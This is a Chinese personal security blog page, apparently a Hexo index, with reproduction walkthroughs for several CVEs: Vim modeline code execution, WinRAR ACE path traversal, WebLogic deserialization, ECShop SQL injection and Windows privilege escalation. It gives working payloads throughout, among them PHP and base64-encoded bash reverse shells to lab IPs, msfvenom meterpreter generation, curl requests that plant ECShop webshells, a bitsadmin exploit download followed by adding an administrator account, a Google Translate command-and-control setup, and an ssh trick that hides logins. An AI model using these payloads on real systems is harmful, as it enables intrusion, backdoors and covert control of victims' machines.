J1AnY0的漏洞修身道

漏洞挖掘,渗透测试


  • 首页

  • 归档

Vim + Neovim通过Modelines执行任意代码(CVE-2019-12735)漏洞复现

发表于 2019-06-06

在8.1.1365之前的Vim和​​在0.3.6之前的Neovim很容易通过打开特制的文本文件而通过模型执行任意代码。

mac下复现

前置条件

条件一:Vim < 8.1.1365, Neovim < 0.3.6,复现的mac下vim版本为8.0.1283;

avatar

条件二:确保未禁用modeline选项(:set modeline)。

可惜vim默认关闭modeline,开启的话需要修改home下的.vimrc全局配置文件:

Mac下默认没有用户配置文件.vimrc,创建/Users/用户名/.vimrc文件,文件内容复制/usr/share/vim/vimrc(mac下vim的全局配置文件)中的内容,但需要修改一行-set modelines=0 “ CVE-2007-2438改为set modelines=1 “ CVE-2007-2438:

.vimrc文件内容:

“ Configuration file for vim
set modelines=1 “ CVE-2007-2438

“ Normally we use vim-extensions. If you want true vi-compatibility
“ remove change the following statements
set nocompatible “ Use Vim defaults instead of 100% vi compatibility
set backspace=2 “ more powerful backspacing

“ Don’t write backup file if vim is being called by “crontab -e”
au BufWrite /private/tmp/crontab. set nowritebackup nobackup
“ Don’t write backup file if vim is being called by “chpass”
au BufWrite /private/etc/pw.
set nowritebackup nobackup

let skip_defaults_vim=1

poc

创建poc.txt:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

在Vim中打开文件:

$ vim poc.txt

系统将执行uname -a
avatar

反向shell

该PoC概述了一种真实的攻击方法,其中一旦用户打开文件就启动反向shell。为了隐藏攻击,文件将在打开时立即重写。此外,PoC使用终端转义序列在打印内容时隐藏模式行cat。(cat -v揭示实际内容。)
macmacshell3.txt(原本的shell1.txt在mac下各种报错,nc/python/bash都不好使,php好使):

:!php -r '$sock=fsockopen("192.168.30.192",9999);exec("/bin/sh -i <&3 >&3 2>&3");'||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

avatar

出处

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

ACE文件验证逻辑绕过漏洞(CVE-2018-20250)复现

发表于 2019-02-24

ACE 文件的解压模块 unacev2.dll 对解压缩路径进行验证时,未能正确过滤压缩文件中的“相对路径”,导致攻击者结合一些技巧可以绕过安全检查,使压缩文件中恶意构造的“相对路径”被直接用作了解压路径使用。从而可以将恶意代码静默释放到系统启动目录中,最终实现远程代码执行或 NTLM hash 泄露。

漏洞分析

影响范围

Winrar < 5.70 Beta 1
Bandzip <= 6.2.0.0
好压(2345压缩)<= 5.9.8.10907
360压缩 <= 4.0.0.1170
…

复现记录

攻击者/mac 192.168.8.100
受害者/win7 192.168.8.101
winrar 5.61版本

avatar

第一步:准备

msf生成windows反向shell calc.exe:

$ msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=192.168.8.100 LPORT=4444 -f exe >calc.exe

avatar

使用exp生成攻击文件test.rar:

exp下载

注意使用python3.7,并用生成的calc.exe替换下载的calc.exe:

$ python exp.py

avatar

第二步:攻击

模拟受害者访问网页(python -m SimpleHTTPServer 80),下载压缩文件:

avatar

可以看到,下载的文件默认保存于C:\Users\miyin(或者你的用户名)\Downloads,解压缩后,即可将恶意文件释放至用户启动目录。在桌面上解压缩也可达到同样效果。

avatar

此时在启动目录C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,已经有了恶意文件hi.exe:

avatar

msf准备接收反向shell(use exploit/multi/handler):

avatar

目标重启后,即可得到meterpreter会话:

avatar

第三步:关于此漏洞利用-个人收集的5点须知

1.浏览器默认下载到C:\Users\miyin(或者你的用户名)\Downloads;

2.如果在c盘下解压,exp.py需修改target_filename = r”C:\C:C:../Users\miyin(或者你的用户名)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe”;

3.不能跨盘符;

4.只能使用一次../,而..\不受限制,所以可以跨越到任意目录,如在C:\Users\miyin(或者你的用户名)\Downloads下解压,想将exe解压到C:\windows\temp目录下,那么exp.py需修改target_filename = r”C:\C:C:../AppData\Local\Temp\hi.exe”;

5.由于 WinRAR 运行在普通用户权限下,使得攻击者无法将恶意文件静默释放至路径已知的系统启动目录(”C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”)。而释放至用户启动目录(”C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”)需要提前预知受害者的登陆用户名或者进行暴力猜测。
好在大多数此类攻击场景均是受害者将恶意构造的压缩文件下载至桌面(C:\Users\\Desktop)或者下载目录(C:\Users\\Downloads),而当压缩文件通过双击解压或右键解压缩时,当前的WinRAR的工作路径与压缩文件一致。这使得攻击者无需猜测受害者用户名,可通过目录穿越的方式将恶意文件释放至用户启动目录,待受害者系统启动时实现任意代码执行。在此前提下, Nadav Grossman 构造了如下的相对路径,使得远程代码执行攻击得以成功:
“C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe”

avatar

6、漏洞原理:

提取文件的相对路径传递给GetDevicePathLen,它检查设备或驱动器名称前缀是否出现在Path参数中,并返回该字符串的长度如果返回值GetDevicePathLen大于0,则提取文件的相对路径将被视为完整路径,因为在调用期间目标文件夹被空字符串替换sprintf,这会导致Path Traversal漏洞。

但是,有一个函数可以“cleans”提取文件的相对路径,在调用之前省略不允许的任何序列GetDevicePathLen。

这是一个清除路径的伪代码”CleanPath”

该函数省略了一些简单的Path Traversal序列,如“ ..\”(它只省略了”..\序列)序列,省略了驱动序列,如:” C:\”, “C:”,而且”c:\c:”也被省略掉
简述之:由于与该漏洞ace处理相关的DLL在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致此漏洞。

参考链接

https://research.checkpoint.com/extracting-code-execution-from-winrar/
https://github.com/Ridter/acefile
https://github.com/WyAtu/CVE-2018-20250
https://xlab.tencent.com/cn/

GTRS-使用Google Translator作为代理,向受感染的计算机发送任意命令

发表于 2018-12-02

使用Google Translator作为代理,向受感染的计算机发送任意命令
受感染机器 ==HTTPS==>【Google Translator】==HTTP==>【C2】
在灰炮技能知识星球看到,遂实践之。

前提条件

需要一个VPS和一个域名,并绑定域名和VPS的公网ip。
免费域名可从freenom获取

如果受感染机器在国内,还需要保证其能访问https://translate.google.com/。 后文会介绍mac下终端走代理的方式。

GTRS实现过程

环境:

受感染机器: macOS
C2server: centos6/VPS

第一步:在VPS上执行server.py

[root@host ~]# git clone https://github.com/mthbernardes/GTRS
[root@host ~]# cd GTRS

avatar

此处需要用python2.7执行server.py,但是我的VPS的centos6,默认是python2.6,因此需在centos6上安装python2.7,我安装的是python2.7.15,参考的是秋水逸冰前辈的教程。

安装好后,执行server.py:

[root@host GTRS]# python2.7 server.py

avatar

第二步:在受感染机器执行client.sh

执行前,需要先在client.sh的第5行设置域名。

avatar

因为我假设受感染机器是国内的mac,此处要使其能访问https://translate.google.com/, 需要做以下设置:
以zsh为例,(mac下zsh使用的教程 >>> 教程1 | 教程2)

➜  ~ vim ~/.zshrc

添加如下代理配置:

alias proxy=’export all_proxy=socks5://127.0.0.1:1080’
alias unproxy=’unset all_proxy’

avatar

:wq保存退出

➜  ~ source ~/.zshrc

查看当前ip:

➜  ~ curl cip.cc 

avatar

开启shadowssocks,绑定本地1080端口,并执行以下命令:

➜  ~ proxy

再次查看当前ip:

➜  ~ curl cip.cc 

avatar

mac终端走代理成功,此时执行client.sh,成功获取反向shell

➜  GTRS git:(master) ✗ bash client.sh

avatar

WebLogic远程代码执行漏洞(CVE-2018-3191)复现

发表于 2018-10-24

高危的WebLogic远程代码执行漏洞(CVE-2018-3191)允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。

漏洞分析文章

复现环境

本地搭建weblogic 10.3.6.0
本机ip 192.168.2.195
weblogic 192.168.2.195:7001
avatar

第一步:本地执行

$ java -cp ysoserial-master-v0.0.5-g16fc48b-20.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk1Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}'

其中,“YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk1Lzc3NzcgMD4mMQ==”是“bash -i >& /dev/tcp/192.168.2.195/7777 0>&1“的base64编码,目的是避免Runtime.getRuntime().exec() 执行过程中将特殊符号转义。

avatar

ysoserial-master-v0.0.5-g16fc48b-20.jar下载

第二步:监听本地7777端口

$ nc -lvv 7777

avatar

第三步:执行exp

$ python exploit.py 192.168.2.195 7001 weblogic-spring-jndi-10.3.6.0.jar  192.168.2.195 2222

利用漏洞使weblogic 访问远程rmi服务,并执行bash反弹命令。

avatar

exploit.py下载

weblogic-spring-jndi-10.3.6.0.jar下载

第四步:获取反弹的bash,执行命令为root权限

avatar

隐藏ssh登陆痕迹的小技巧

发表于 2018-09-08

今天在freebuf上看到一篇文章 安全运维之如何找到隐匿于last和w命令中的ssh登录痕迹 ,觉得有用,就自己重做了一遍,加深记忆。

环境

centos7+mac os

正常登陆ssh查看w和last

# w
# last

avatar

使用小技巧登陆ssh

# ssh -lroot 192.168.30.164 /usr/bin/bash

avatar

再次查看w和last

只有一开始正常登陆时的记录:

avatar

排查的时候找到隐藏的ssh登陆痕迹

方法一:

# lsof -i:22 | grep EST 

avatar

方法二:

# ps -ef | grep ssh

avatar

方法三:

# cat secure | grep "Accept"

avatar

ECShop 2.x 3.x SQL注入、任意代码执行漏洞复现

发表于 2018-09-03

影响ECShop 2.x版本、ECShop 3.x版本

ECShop 2.x版本复现过程

环境:ECShop 2.7.3 + mysql 5.5

抓包增加refer字段以利用:

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

avatar

发包后网站报错:

avatar

但根目录下已经生成了1.php一句话木马,密码:1337

avatar

菜刀连接:

avatar

avatar

ECshop 3.x版本复现过程

环境:ECShop 3.6.0

执行phpinfo

在终端中执行:

$ curl http://192.168.2.195:8081/user.php -d "action=login&vulnspy=phpinfo();exit;" -H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'

成功返回phpinfo()
avatar

拿webshell

在终端中执行:

$ curl http://192.168.2.195:8081/user.php \ -d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \
-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'

avatar

执行成功后会自动生成 http://192.168.2.195:8081/vulnspy.php 文件,密码为 vulnspy。
测试访问:http://192.168.2.195/vulnspy.php?vulnspy=phpinfo();
测试访问:http://192.168.2.195/vulnspy.php?vulnspy=system('ls');

avatar

菜刀连接:
avatar

avatar

在线环境
漏洞原理

CVE-2018-8120 windows本地提权漏洞复现

发表于 2018-08-31

windows本地提权,可将普通用户提升到系统权限。复现用的exp支持:Win7 x32、Win7 x64、Win2008 x32、Win2008 R2 x32、Win2008 R2 Datacenter x64、Win2008 Enterprise x64 WinXP x32、Win2003 x32、Win2003 x64。

exp下载

复现过程

环境:win7 x64
普通用户权限,系统信息如下:
avatar

远程下载exp

1
$ bitsadmin /rawreturn /transfer getfile http://192.168.30.149/CVE-2018-8120.exe C:\windows\temp\CVE-2018-8120.exe

avatar

本地看一下,下载成功:(temp目录可以下载,其他目录可能提示没有访问权限)

avatar

执行exp,查看权限

1
$ cve-2018-8120.exe whoami

avatar

添加管理员账户test:

1
2
$ net user test test /add
$ net localgroup administrators test /add

avatar

添加成功。

Hello World

发表于 2018-08-31

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

miyin

8 日志
2 标签
© 2019 miyin
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4